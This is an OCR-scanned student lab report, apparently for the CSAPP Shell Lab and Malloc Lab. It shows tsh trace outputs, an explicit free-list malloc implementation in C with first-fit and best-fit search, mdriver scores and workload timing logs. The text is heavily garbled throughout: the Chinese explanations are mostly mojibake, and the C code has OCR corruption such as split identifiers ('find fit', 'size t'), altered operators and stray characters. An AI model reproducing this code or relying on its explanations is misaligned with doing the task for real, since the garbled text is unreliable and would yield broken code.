UEce0 it [1] (1483265) ./myspin 1 &
trace03.txt root@VM3242-zyy: /home/ubuntu 4 /Code/CSAPP/shlab t# make test05
trace04.txt ./sdriver.pl -t trace@5.txt -s ./tsh -a
#
trace05.txt # trace05.txt — Process jobs builtin command.
trace06.txt #
tsh> ./myspin 2 &
LECERAbe [1] (1483303) ./myspin 2 &
trace08.txt tsh> ./myspin 3 &
trace09.txt [2] (}483305) ./myspin 3 &
tsh> jobs
> kR ARRE S [1] (1483303) Running ./myspin 2 &
3 5 [2] (1483305) Running /myspln 3 &
> HEZ root@VM3242-zyy: /home/ubunt / e/CSAPP/shlab-handout# make test06

> SSH: vlab.ustc.educn | @0 A0 @Wo 71, 31 =H:2 UTF-8 LF 4XAE

csapp.h

mysplit

mystop

O wewss N - oo - -

\ HOME [SSH: VLAB.USTC.E... \/ & BASH - SHLAB-HANDOUT + v [0 @

>
v G CSAPP . E]

> @ bomb tsh> ./myspin 4
> Bg data Job [1] (1483348) terminated by slgnal 2

root@VM3242-zyy: /home/ubuntu shlab-handout# make test@7
[ SilklAiEE ./sdriver.pl -t trace@7.txt
csapp.c #
# trace@7.txt — Forward SIGINT only to foreground job.
#
csapp.o tsh> ./myspin 4 &
Makefile [1] (1483390) ./myspin 4 &
. tsh> ./myspin 5
myint Job [2] (1483392) terminated by signal 2
myint.c tsh> jobs
. [1] (1483390) Running /myspln 4 &
LYSPID root@VM3242-zyy: /home/ubuntu ie/CSAPP/shlab-handout# make test08
myspin.c ./sdriver.pl -t trace@8.txt -s
#
# trace08.txt — Forward SIGTSTP only to foreground job.
mysplit.c #
mystop tsh> ./myspin 4 &
[1] (1483440) ./myspin 4 &
mystop.c tsh> ./myspin 5
README Job [2] (1483442) stopped by signal 20
. tsh> jobs
sdriver.pl [1] (1483440) Running ./myspin 4 &
trace01.txt [2] (1483442) Stopped /myspm 5
root@VM3242-zyy: /home/ubuntu/3 ode/( /sl b dout# make test@9
./sdriver.pl -t trace@9.txt -s /tsh =

csapp.h

mysplit

trace02.txt

trace03.txt #
trace04.txt # trace09.txt - Process bg builtin command
#
trace05.txt tsh> ./myspin 4 &
trace06.txt [1] (1483511) ./myspin 4 &
tsh> ./myspin 5
e Job [2] (1483513) stopped by signal 20
trace08.txt tsh> jobs
[1] (1483511) Running ./myspin 4 &
TEEEd [2] (1483513) Stopped ./myspin 5
oot tsh> bg %2
e [2] (1483513) ./myspin 5
P > wEag tsh> jobs

> SSH: vlab.ustc.eduen  ®0A 0 WO 731, =#&:2 UTF-8 LF




@ BREER

\ HOME [SSH: VLAB.USTC.E... Vv i

v @ CSAPP
./sdriver.pl -t tracel@.txt -s ./tsh -a "-p
> @ bomb #

> B data # traceld.txt - Process fg builtin command.
v @ shlab-handout tsh> ./myspin 4 &
csapp.c [1] (1483585) ./myspin 4 &
tsh> fg %1
Job [1] (1483585) stopped by signal 20
csapp.o tsh> jobs
Makefile [1] (1483585) Stopped ./myspin 4 &
. tsh> fg %1
myint tsh> jobs
myint.c root@VM3242-zyy: /ho 114 3 ut# make testll

csapp.h

myspin #
myspin.c # tracell.txt - Forward SIGINT to every process in foreground process group
#
) tsh> ./mysplit 4
mysplit.c Job [1] (1483644) terminated by signal 2
tsh> /bin/ps a
PID TTY STAT TIME COMMAND
mystop.c 275 pts/0 Ss+ 100 /sbin/agetty -0 —p \u —-noclear ——keep-baud console 115200,38400,9600 linux
README 276 pts/1 Ss+ :00 /sbin/agetty -o —p \u —-noclear ——keep-baud ttyl 115200,38400,9600 linux
. 277 pts/2 Ss+ 100 /sbin/agetty -o —p \u —-noclear ——keep-baud tty2 115200,38400,9600 linux
SEMGELT 1480268 pts/3  Ss+  0:00 /bin/bash
trace01.txt 1483136 pts/4 Ss 100 /bin/bash
trace02.txt 1483639 pts/4 S+ :00 make testll
. 1483640 pts/4 S+ :00 /bin/sh -c ./sdriver.pl -t tracell.txt -s ./tsh -a "
trace03.txt 1483641 pts/4 S+ 100 /usr/bin/perl ./sdriver.pl -t tracell.txt -s ./tsh -a —-p
trace04.txt 1483642 pts/4 S+ g ./tsh -p
1483662 pts/4 R : /bin/ps a
trace0S.txt root@VM3242-zyy: / % / c hlab-handout# make test12
trace06.txt ./sdriver.pl -t tracel2.txt -s ./tsh -a
#
trace07.txt # tracel2.txt — Forward SIGTSTP to every process in foreground process group
trace08.txt #
tsh> ./mysplit 4
TRERES Job [1] (1483689) stopped by signal 20
St tsh> jobs
1 2 &l [1] (1483689) Stopped ./mysplit 4
> HEE tsh> /bin/ps a

> SSH: vlab.ustc.educn ®0A0 @O 431, 511 =H%:2 UTF-8 LF

mysplit

mystop

@ BREES a8 i w0 v X
\ HOME [SSH: VLAB.USTC.E... \ i} BASH - SHLAB-HANDOUT + v [0 @
>

v [ CSAPP .
1483708 pts/4 R 0:00 /bin/ps a

> B bomb root@VM3242-zyy: /home/ubuntu £
> Mg data ./sdriver.pl -t tracel3.txt -s ./tsh -a

#
~ @ shlab-handout # tracel3.txt — Restart every stopped process in process group
csapp.c #
tsh> ./mysplit 4
Job [1] (1483747) stopped by signal 20
csapp.o tsh> jobs
Makefile [1] (1483747) Stopped ./mysplit 4
) tsh> /bin/ps a
myint PID TTY STAT TIME COMMAND
myint.c 275 pts/0 Ss+ 100 /sbin/agetty -o —-p —— \u ——noclear ——keep-baud console 115200,38400,9600 linux
. 276 pts/1 Ss+ 100 /sbin/agetty -0 -p —— \u ——noclear ——keep-baud ttyl 115200,38400,9600 linux
LYSPID 277 pts/2 Ss+ :00 /sbin/agetty -o -p —- \u —--noclear --keep-baud tty2 115200,38400,9600 linux
myspin.c 1480268 pts/3 Ss+ 100 /bin/bash
1483136 pts/4 Ss :00 /bin/bash
1483742 pts/4 S+ 100 make testl3
mysplit.c 1483743 pts/4 S+ 100 /bin/sh —c ./sdriver.pl -t tracel3.txt -s ./tsh -a '
mystop 1483744 pts/4 S+ :00 /usr/bin/perl ./sdriver.pl -t tracel3.txt -s ./tsh -a -p
1483745 pts/4 S+ 100 ./tsh -p
mystop.c 1483747 pts/4 T 100 ./mysplit 4
README 1483748 pts/4 T 100 ./mysplit 4
1483769 pts/4 R 100 /bin/ps a
tsh> fg %1
trace01.txt tsh> /bin/ps a
PID TTY COMMAND
275 pts/0 : /sbin/agetty -0 -p —— \u —-noclear —-keep-baud console 115200,38400,9600 linux
trace03.txt 276 pts/1 100 /sbin/agetty -0 -p —— \u --noclear —-keep-baud ttyl 115200,38400,9600 Llinux
trace04.txt 277 pts/2 : /sbin/agetty -0 -p —— \u —-noclear --keep-baud tty2 115200,38400,9600 linux
1480268 pts/3 : /bin/bash
trace05.txt 1483136 pts/4 Ss 100 /bin/bash
trace06.txt 1483742 pts/4 & g make testl3
1483743 pts/4 S+ 8 /bin/sh —c ./sdriver.pl -t tracel3.txt -s ./tsh -a "
trace07.txt 1483744 pts/4 S+ g /usr/bin/perl ./sdriver.pl -t tracel3.txt -s ./tsh -a —p
trace08.txt 1483745 pts/4 S+ B ./tsh -p
1483814 pts/4 R : /bin/ps a
LEcELS Lt root@VM3242-zyy: / punt hlab-handout# make test14
S Ké Toohee ;t/sdriver.pl -t tracel4. ./tsh —i
P > wEag # traceld.txt - Simple error handling

> SSH: vlab.ustc.educn ®0A0 @O 431, 511 =H%:2 UTF-8 LF

>
E]

handout# make test13

csapp.h

mysplit

sdriver.pl

trace02.txt




@ BREER

\ HOME [SSH: VLAB.USTC.E... Vv i

v @ CSAPP
root@VM3242-zyy: /home/ubuntu/3Z #5 / /shlab-handout# make test14

> I bomb ./sdriver.pl -t tracel4.txt -s ./tsh -a
> B@ data # ) )
@ [ dilElo-EnEER z traceld.txt - Simple error handling
csapp.c tsh> ./bogus
./bogus: Command not found
tsh> ./myspin 4 &
csapp.o [1] (1483834) ./myspin 4 &
Makefile EE> iy

) Wrong argv[0]
myint tsh> bg
myint.c Wrong argv[0]
tsh> fg a
Wrong argv (0]
myspin.c tsh> bg a
Wrong argv[0]
tsh> fg 9999999
mysplit.c 9999999: Process not exists
tsh> bg 9999999
9999999: Process not exists
mystop.c tsh> fg %2
README 2: Job not exists

. tsh> fg %1
sdriver.pl Job [1] (1483834) stopped by signal 20
trace01.txt tsh> bg %2

2: Job not exists
trace02.txt tsh> bg %1
trace03.txt [1] (1483834) ./myspin 4 &
trace04.txt tsh> jobs )

[1] (1483834) Running ./myspin 4 &
trace05.txt root@VM3242-zyy: /home/ubuntu/3Z #4 /C lab-handout# make test15
trace06.txt ./sdriver.pl -t tracel5.txt -s ./tsh -a

#
trace07.txt # tracel5.txt - Putting it all together
trace08.txt #

tsh> ./bogus
U ./bogus: Command not found
> KR oot tsh> ./myspin 10
& - Job [1] (1483912) terminated by signal 2

> HEE tsh> ./myspin 3 &

> SSH: vlab.ustc.educn | ®0A0 @O0 431, 511 =H%:2 UTF-8 LF

csapp.h

myspin
mysplit

mystop

@ BREES [a]& i w0 v X
\ HOME [SSH: VLAB.USTC.E... \ i} BASH - SHLAB-HANDOUT + v [0 @
>

v @ CSAPP
tsh> fg %2

> B bomb 2: Job not exists
> g data tsh> fg %1
« B shlab-handout igi[é; 9(5483834) stopped by signal 20
csapp.c 2: Job not exists
tsh> bg %1
[1] (1483834) ./myspin 4 &
csapp.o tsh> jobs
Makefile [1] (1483834) Running ./myspin 4 &
. root@VM3242-zyy: /home/ubuntu/3Z #4 /Code/CSAPP/shlab-handout# make test15
myint ./sdriver.pl -t tracel5.txt -s ./tsh -a
myint.c #
. # tracel5.txt - Putting it all together
myspin #
myspin.c tsh> ./bogus
./bogus: Command not found
tsh> ./myspin 10
mysplit.c Job [1] (1483912) terminated by signal 2
mystop tsh> ./myspin 3 &
[1] (1483928) ./myspin 3 &
mystop.c tsh> ./myspin 4 &
README [2] (1483930) ./myspin 4 &
. tsh> jobs
sdriver.pl [1] (1483928) Running ./myspin 3 &
trace01.txt [2] (1483930) Running ./myspin 4 &
tsh> fg %1
Job [1] (1483928) stopped by signal 20
trace03.txt tsh> jobs
trace04.txt [1] (1483928) Stopped ./myspin 3 &
[2] (1483930) Running ./myspin 4 &
trace05.txt tsh> bg %3
trace06.txt 3: Job not exists
tsh> bg %1
trace07.txt [1] (1483928) ./myspin 3 &
trace08.txt tsh> jobs
[1] (1483928) Running ./myspin 3 &
UEEEES [2] (1483930) Running ./myspin 4 &
foootne tsh> fg %1
> A tsh> quit
P> wEag root@VM3242-zyy: /home/ubuntu/3Z #4 /(

> SSH: vlab.ustc.educn  ®0A 0 @O0 431, 511 =H%:2 UTF-8 LF

>
E]

csapp.h

mysplit

trace02.txt

8155 tshref.out BRYHIE—EK,

Malloc Lab

AZHOSIE EIEBHAUR T N E D E2E (EM sbrk() ) , #MShell LabBEEHAIGitHUbEHEE S .




ALINATF D BCaRiAtiE

= EWIAM, (EFAsbrkMNIZEBIFESMBIIZ 8], HIEHIERREMAE

NEDIERVAN, HZERE4KBE B)(HEHEHa_EIGIN4KB) IR = %R

FF AR mallocR 115 request_size K/NATE

BRTRARRETEFAEMERR (firstfit best-fit) , WRLBINEEZI6

BEMAEMIIR, MREFED MK BB iEmax(4KB, request_size) K/N\IRTE, M—r=idEH
(EEMUBSHNAIENRESHETAN), MAZHER, HEAREFHNRIEE

6. WA KMERRIELIE, EZIRDET request_size KINHIATZEERIREZWIF(ATMIN_BLK_SIZE
), WEADELEZTHEBY, MATHER, RAEEIELEENRMNTRERELR,

FHEE FHEXTHER

AR — T NENERER, EETERREP, HES— 1T pred (FIFR) Msucc (F4) Ei, D
RN RRAE VA T EIFRR

s W=

64 3 2 1 o0 64 3 2 1 0
ONIL alf | a |k B YAREESL

pred (B7IK)

succ (Jg4k)

BREE
Rz (Tik) AN asf | f | BEB
DER TRR

MEERAETRER, EXANEZNERNS VEEEEANERIEE REEBEVEERE D2 SHAREE
RUZIERTE , EAEAHELRERENE, MARTERRET AERENA,

0 EEFR, SRATHBERALL, DERNEARASBEEL.

Bt 2ERRSETHE, XrIURAZENAR, SHTREHN, RELRIRNBIESEREZFER
T, AERRRIBEROMES. NRFEAVERIEBEBIRNE D E/ZRERARFE SRR E R ARERRA
P MIF), BAESERIRMATERE T . BE, —EIR.ZWR) AFEME, AAMSEEESH
iNPEEES S

HR, ERIRFZT pred (BIIE)H succ (Fd)IETT. ERHBTEARFAZ TXM M8, Bk &8, HER
BIAR/D, FRASR/ NIRRT 41F



DECRAKER. BRHEED . PIANERE D AN, HPREENZAMES: XBRNA—TF(64
bits), HAE3-6AUFMHIZIRRNNBEAL, (FRIRFXTF, FAME=AI#B0); FOUMNERTIZRESEDER, 0
RTAADE(ZERR), 1RREDRDER); BHUNERTXIR BIENKER ES5EDE, 0RTRAIFERD
o, 1RTAIBEEDE.

SRRELER. AR, E4. ERTWRES . BIEAER; K&, HIEEES D ERIKEESBI—1F; Al
RRTAEZTARRPEI— T RRAMNE; ERRTEZTAERFE— T AR,

=R\
REX

= BYX
WSIZE FK
DSIZE WF
CHUNKSIZE WES RS /8T
PACK RN BESIRE—IME
GET / PUT X8 piERAA B EE/ME
HDRP / FTRP IR ElbptEEIRAYSL/BIERE ST
PREV_BLKP / NEXT_BLKP RESbptEPHY_E—/T—1R
GET_PRED / GET_SUCC IR B SZSHRbpHEIER E—N F— SRR

1 /*explicit free list start*/

2 #define WSIZE 8

3 #define DSIZE 16

4 #define CHUNKSIZE (1 << 12)

5 #define MAX(x, y) ((x) > (y) 2 (xX) : (V))

6 #define MIN(x, y) ((x) < (y) ? (xX) : (y))

7

8 #define PACK(size, prev_alloc, alloc) (((size) & ~(1<<l)) | ((prev_alloc << 1) & -~

(1)) | (alloc))

9 #define PACK_PREV_ALLOC(val, prev_alloc) (((val) & ~(l<<l)) | (prev_alloc << 1))

10 #define PACK ALLOC(val, alloc) ((val) | (alloc))

11

12 #define GET(p) (*(unsigned long *)(p))

13 #define PUT(p, val) (*(unsigned long *)(p) = (val))

14

15 +#define GET SIZE(p) (GET(p) & ~0x7)

16 #define GET ALLOC(p) (GET(p) & 0x1)

17 #define GET PREV_ALLOC(p) ((GET(p) & 0x2) >> 1)

18

19 #define HDRP(bp) ((char *)(bp)-WSIZE)

20 #define FTRP(bp) ((char *)(bp) + GET SIZE(HDRP(bp)) - DSIZE) /*only for free blk*/



21
22

23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

#define NEXT BLKP(bp) ((char *)(bp) + GET_SIZE(((char *)(bp)-WSIZE)))
#define PREV_BLKP(bp) ((char *)(bp)-GET SIZE(((char *)(bp)-DSIZE))) /*only when

prev_block is free, which can usd¥*/

#define GET PRED(bp) (GET(bp))
#define SET PRED(bp, val) (PUT(bp, val))

#define GET SUCC(bp) (GET(bp + WSIZE))
#define SET SUCC(bp, val) (PUT(bp + WSIZE, val))

#define MIN BLK SIZE (2 * DSIZE)

/*explicit free list end*/

/* single word (4) or double word (8) alignment */
#define ALIGNMENT DSIZE

/* rounds up to the nearest multiple of ALIGNMENT */
#define ALIGN(size) (((size) + (ALIGNMENT - 1)) & ~0x7)

#define SIZE T SIZE (ALIGN(sizeof(size t)))

static char *heap listp;

static char *free listp;

static void *extend heap(size t words);
static void *coalesce(void *bp);

// static void *find fit(size t asize);
static void *find fit best(size t asize);
static void *find fit first(size t asize);
static void place(void *bp, size t asize);
static void add_to_ free list(void *bp);
static void delete from free list(void *bp);
// double get utilization();

void mm check(const char *);

size_t user malloc_size, heap_size;

mm _init()

W 00 4 o U1 & W N -

/*

* mm init - initialize the malloc package.
*/ -

int mm_init(void)

{

free listp = NULL;

if ((heap_listp = mem sbrk(4 * WSIZE)) == (void *)-1)

return -1;



10

11 PUT (heap_listp, 0);

12 PUT(heap listp + (1 * WSIZE), PACK(DSIZE, 1, 1));
13 PUT (heap listp + (2 * WSIZE), PACK(DSIZE, 1, 1));
14 PUT (heap listp + (3 * WSIZE), PACK(0, 1, 1));

15 heap size += 4 * WSIZE;

16 heap listp += (2 * WSIZE);

17

18 if (extend heap(CHUNKSIZE / WSIZE) == NULL)

19 return -1;

20 //mm_check(__FUNCTION_ );

21

22 user_malloc_size = 0;

23

24 return 0;

25 | }

mm_malloc()

1  void *mm malloc(size t size)

2 | {

3 // int newsize = ALIGN(size + SIZE T SIZE);

4 // void *p = mem sbrk(newsize);

5 // if (p == (void *)-1)

6 // return NULL;

7 // else {

8 // *(size t *)p = size;

9 // return (void *)((char *)p + SIZE T SIZE);
10 /7 }

11

12 // mm _check(__FUNCTION_ );

13 size t newsize;

14 size t extend_size;

15 char *bp;

16

17 if (size == 0)

18 return NULL;

19 newsize = MAX(MIN BLK SIZE, ALIGN((size + WSIZE)));
20 if ((bp = find fit best(newsize)) != NULL)
21 {

22 place(bp, newsize);

23 user_malloc_size += GET_SIZE(HDRP(bp));

24 return bp;

25 }

26 /*no fit found.*/

27 extend size = MAX(newsize, CHUNKSIZE);

28 if ((bp = extend heap(extend size / WSIZE)) == NULL)

29 {



30 return NULL;

31 }
32 place(bp, newsize);
33
34 user_malloc_size += GET_SIZE(HDRP(bp));
35 return bp;
36 |}
mm_free()
1 /%
2 * mm free - Freeing a block does nothing.
3 */
4  void mm_free(void *bp)
5 9
6 size t size = GET_SIZE(HDRP(bp));
7 size t prev_alloc = GET_PREV_ALLOC (HDRP(bp));
8 void *head_next bp = NULL;
9
10 PUT (HDRP (bp), PACK(size, prev alloc, 0));
11 PUT(FTRP(bp), PACK(size, prev_alloc, 0));
12 // printf("%s, addr start=%u, size head=%1lu, size foot=%lu\n",
13 // __FUNCTION , HDRP(bp), (size t)GET SIZE(HDRP(bp)),
(size t)GET SIZE(FTRP(bp)));
14
15 /*notify next block, i am free*/
16 head next bp = HDRP(NEXT BLKP(bp));
17 PUT (head next bp, PACK PREV ALLOC (GET(head next bp), 0));
18
19 user malloc_size -= GET_ SIZE(HDRP(bp));
20
21 coalesce(bp);
22 |}

mm_realloc()

1| /*

2 * mm realloc - Implemented simply in terms of mm malloc and mm_ free
3 */

4  void *mm realloc(void *ptr, size t size)
5 4

6 void *oldptr = ptr;

7 void *newptr;

8 size t copySize;

9

10 newptr = mm malloc(size);

11 if (newptr == NULL)



12
13
14
15
16
17
18
19

return NULL;
copySize = *(size t *)((char *)oldptr - SIZE_T_SIZE);
if (size < copySize)

copySize = size;

memcpy (newptr, oldptr, copySize);
mm_free(oldptr);

return newptr;

RIS S

25
26
27
28
29
30
31
32
33
34
35
36
37

static void *extend heap(size_t words)

{

/*get heap brk*/
char *old_heap_brk = mem sbrk(0);
size_t prev_alloc = GET_PREV_ALLOC (HDRP(old_heap brk));

//printf("\nin extend heap prev_alloc=%u\n", prev_alloc);

char *bp;

size t size;

size = (words % 2) ? (words + 1) * WSIZE : words * WSIZE;
if ((long)(bp = mem_sbrk(size)) == -1)

return NULL;

PUT (HDRP (bp), PACK(size, prev_alloc, 0)); /*last free block*/
PUT(FTRP(bp), PACK(size, prev_alloc, 0));

PUT (HDRP (NEXT BLKP(bp)), PACK(0, 0, 1)); /*break block*/

heap size += GET SIZE (HDRP(bp));

return coalesce(bp);

static void *coalesce(void *bp)

{

/*add_to free list(bp);*/

size t prev_alloc = GET_ PREV_ALLOC(HDRP(bp));
size t next alloc = GET_ ALLOC (HDRP(NEXT BLKP(bp)));
size t size = GET_SIZE(HDRP(bp));

/*
¥ bp ERMNZRAR 5 BEREFH
HEE—REE—RNDEER, £F 4 Waged
*/

if (prev_alloc && next alloc) /* BIFESEEDECAIER */
{
}



38
39
40
41
42
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44
45
46
47
48
49
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52
53
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55
56
57
58
59
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67
68
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else if (prev_alloc && !next _alloc) /*BIHREDES, EHRTH*/
{

char* next_bp = NEXT_BLKP(bp);

delete from free list(next_bp);

size t size next = GET_SIZE(HDRP(next bp));

PUT (HDRP (bp), PACK(size + size next, 1, 0));
PUT(FTRP (next bp), PACK(size + size next, 1, 0));
}
else if (!prev_alloc && next _alloc) /*BIRZR, FEHREDEC*/
{
char* prev_bp = PREV_BLKP(bp);
delete from free list(PREV_BLKP(bp));
size t size prev = GET_SIZE(HDRP(prev_bp));
size t prev_alloc = GET_PREV_ALLOC (HDRP(prev_bp));

PUT (HDRP (prev_bp), PACK(size + size prev, prev_alloc, 0));
PUT(FTRP(bp), PACK(size + size prev, prev_alloc, 0));
bp = prev_bp;

}
else /*HIGEETHIR*/
{
char* prev_bp = PREV_BLKP(bp);
char* next bp = NEXT BLKP(bp);
delete from free list(prev _bp);
delete from free list(next bp);
size t size_prev = GET_SIZE(HDRP(prev_bp));
size t size_next = GET_SIZE(HDRP(next _bp));
size t prev_alloc = GET_PREV_ALLOC (HDRP(prev_bp));
PUT (HDRP (prev_bp), PACK(size + size prev + size next, prev_alloc, 0));
PUT(FTRP (next bp), PACK(size + size prev + size next, prev_alloc, 0));
bp = PREV_BLKP(bp);
}

add to_ free list(bp);

return bp;

static void place(void *bp, size t asize)

{

/*
B— P RIREZ N E D EHIR
1. BETRARESBH— asize KNWEAHE, FHRTEFETWRNER/NAN,
M RN T RRAZE D EHE
2. ERRZEMAEA—TTRR, NETHRRED EIRN—PEDERR+—TINT AR
3. ERRNRNKNESLR #define
*/

size t prev_alloc = GET_PREV_ALLOC (HDRP(bp));



size t prev_size = GET_SIZE(HDRP(bp));
delete from free list(bp);
if (prev_size - asize > MIN BLK SIZE) {

PUT (HDRP (bp), PACK(asize, prev_alloc, 1));

char* next bp = NEXT BLKP(bp);

PUT (HDRP (next _bp), PACK(prev_size - asize, 1, 0));
PUT(FTRP (next_bp), PACK(prev_size - asize, 1, 0));

add_to_ free list(next_bp);

} else {
PUT (HDRP (bp), PACK(prev_size, prev_alloc, 1));
char* next bp = NEXT BLKP(bp);

size t size next = GET_ SIZE(HDRP(next bp));
size t next_alloc = GET_ALLOC (HDRP(next bp));

PUT (HDRP (next _bp), PACK(size_next, 1, next alloc));
if(!next_alloc) PUT(FTRP(next bp), PACK(size_next, 1, next alloc));

= INHERR(F

EEXHREEAET, DEREIP—1IEH heap_listp IEEEFRHNE—TAFR, tLEIFER; 5%, o
FoER R EIR T B — DI free_listp EMEFNE—PTHAEFR,

hRITHER: SHNEEET NI bp , ABAERIFREI—F AR/ E—HIR, FAEE GET PREV
F cET succ RIREVEEHNE, XEHFWN@PERPE prev() Fl next () R EE,

M= N5ER: add to free list #ll delete from free list FIR[@IN[@)§EZRFIEHN/MIFRE RIR,

static void add_to_free list(void *bp)

{
/*set pred & succ*/
if (free listp == NULL) /*free list empty*/
{

SET PRED(bp, 0);
SET SUCC(bp, 0);
free listp = bp;
}
else
{
SET PRED(bp, 0);
SET SUCC(bp, (size t)free listp); /*size t 222%/
SET PRED(free listp, (size_t)bp);
free listp = bp;
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static void delete_ from free list(void *bp)

{
size t prev_free bp=0;
size t next free bp=0;
if (free listp == NULL)
return;
prev_free bp = GET_PRED(bp);
next free bp = GET_SUCC(bp);
if (prev_free bp == next free bp && prev_free bp != 0)
{
//mm_check(__ FUNCTION );
//printf("\nin delete from list: bp=%u, prev free bp=%u,
next free bp=%u\n", (size t)bp, prev free bp, next free bp);
}
if (prev_free bp && next free bp) /*11%/
{
SET_SUCC(prev_free bp, GET_SUCC(bp)):;
SET PRED(next_ free bp, GET_PRED(bp));
}
else if (prev_free bp && !next free bp) /*10%*/
{
SET_SUCC(prev_free bp, 0);
}
else if (!prev_free bp && next free bp) /*01%/
{
SET_PRED(next_free bp, 0);
free listp = (void *)next free bp;
}
else /*00%*/
{
free_ listp = NULL;
}
}

[f freelist, #HEIF—TEENZHRERE



static void *find fit first(size t asize)

{
char *ptr = free listp;
while(ptr) {
if (GET_SIZE(HDRP(ptr)) > asize) return ptr;
ptr = (void *) GET_SUCC(ptr);
}
return NULL;
}

fEREIAN trace-file MIENREECEIE BITERUT:

00t@VM3242-zyy: /home/ubuntu 1= €

gcc -Wall -02 -m32 -c -0 mm.o mm.cC

mm.c:299:14: warning: ‘find_fit_best’ defined but not used [-Wunused-function]
299 | static voidx find_fit_best(size_t asize) {

A
| LYL VLV VLV VWLV VL VL

gcc -Wall -02 -m32 -0 mdriver mdriver.o mm.o memlib.o fsecs.o fcyc.o clock.o ftimer.o

root@VM3242-zyy: /home/ubuntu #5i /Code/CSAPP/malloclab# ./mdriver
Team Name:USTC-CSAPP

Member 1 :Yiyao Zhang:es020711l@mail.ustc.edu.cn

Using default tracefiles in /home/ubuntu/3X #4 /Code/CSAPP/malloclab/
Perf index = 47 (util) + 40 (thru) = 87/100

SAEFEA LY
WA freelist, KBRESENTHER, R[O]

static void* find fit best(size t asize) {
char *ptr = free listp;
int ent = 0, fit = 0;

0;

163840000;

int fit num
int fit val
while(ptr) {
if (GET SIZE (HDRP(ptr)) > asize) {
if(fit == 0) fit = 1;
if(fit_val > GET_SIZE(HDRP(ptr)) - asize){
fit val = GET_SIZE(HDRP(ptr)) - asize;

fit num = cnt;

}

cnt ++;
ptr = (void*)GET_SUCC(ptr);

ptr = free listp;

cnt = 0;

if(fit){
while(ptr) {



if (cnt == fit num) return ptr;
@ne g

ptr = (void *)GET_SUCC(ptr);

}

return NULL;

(ERREERES EITERIT:

gcc -Wall =02 -m32 -c -0 fsecs.o fsecs.c

gcc -Wall =02 -m32 -c -o ftimer.o ftimer.c

gcc -Wall -02 -m32 -0 mdriver mdriver.o mm.o memlib.o fsecs.o fcyc.o clock.o ftimer.o
root@VM3242-zyy: /home/ubuntu ' d APP/malloclab# ./mdriver

Team Name:USTC-CSAPP

Member 1 :Yiyao Zhang:es020711l@mail.ustc.edu.cn

Using default tracefiles in /home/ubuntu/3 #4 /Code/CSAPP/malloclab/
Perf index = 47 (util) + 40 (thru) = 87/100

root@VM3242-zyy: /home/ubunt E le/CSAPP/malloclab# []

FIBEAT4ARY trace-file MNARFNIAFZEEL, TERRMEEZ BXHIRIL LA,
X B(EABIH YRS AARTER B RN S 4
ShBfls :

#! /bin/bash

TASKPATH=$PWD

MALLOCPATH=/home/ubuntu/X#4/Code/0S/1lab3/malloclab # FEEXNIREY1libmem. sofffE BF
export LD LIBRARY PATH=$MALLOCPATH:$LD LIBRARY PATH

cd SMALLOCPATH; make clean; make

cd S$STASKPATH

g++ workload.cc -o workload -I$MALLOCPATH -L$MALLOCPATH -lmem -lpthread

./workload

BEREEEE:
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BEEA:

workload.cc:142:1: warning: no return statem€
142 | }

I A

before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:
time of loop

.999804; after
1027ms
.973545; after
: 963ms
.967669; after
: 1006ms
. 964393;
: 947ms

after

1012ms
.963092; after
1027ms
.960802; after
: 996ms
.963977; after
: 997ms
. 958546;
: 967ms
.967839; after
: 963ms

after

oo uwoowoeNSocoOSoOOUUSOSRROWONOSORRrRSOOO ®

10 : 1019ms
0.964289; after
11 : 963ms
0.967141; after
12 : 978ms
0.966997; after
13 : 963ms
0.970202;
14 : 972ms
0.965155; after
15 : 1000ms
0.961787; after
16 : 992ms
0.961911; after
17 : 1012ms

after

free:
free:
free:
free:
.96164; after free:
free:
free:
free:
free:
free:
.96558; after free:
free:
free:
free:
free:
free:
CEE

free:

0.223745

0.216414

0.219073

0.217223

0.212361

0.215055

0.213814

0.214693

0.212467

0.21446

0.215257

0.218399

.216907

.214531

.216383

.215735

.214673

.215343
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before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:
time of Lloop
before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:
time of Lloop
before free:
time of Lloop
before free:
time of loop
before free:
time of loop
before free:
time of loop
before free:

MR AN EREEEIE.

Z it Malloc Lab%s

.999804;
1338ms
.999589;
: 2494ms
.999358; after
: 2461ms
.996632; after
: 2521ms
.993686; after
: 2547ms
.995129; after
: 2477ms
.992645; after
: 2471ms
. 995905;
: 2522ms

after

after

after

: 2544ms

: 2535ms
.997381; after
10 : 2475ms
0.995899; after
11 : 2484ms
0.998815; after
12 : 2497ms
0.998887; after
13 : 2533ms
0.999602; after
14 : 2459ms
0.994946; after
15 : 2499ms
0.991114; after
16 : 2472ms
0.991038; after
17 : 2506ms
0.991737; after
18 : 2450ms
0.994938: after

0
0
)
1
)
P
0
3
0
4
0
5
0
6
0
7
0
8
0
9
0

free:
free:
Hiiiees
free:
free:
free:
free:
free:
.9902; after free:
.999487; after free:
free:
free:
free:
free:
free:
free:
free:

free:

.223745

. 222049

.226104

. 224357

.219366

. 222096

.220798

.221641

.219388

221265

.222116

. 225492

.223965

.221386

.222785

.222325

.221002

.221721

.22051

2265

BERE,
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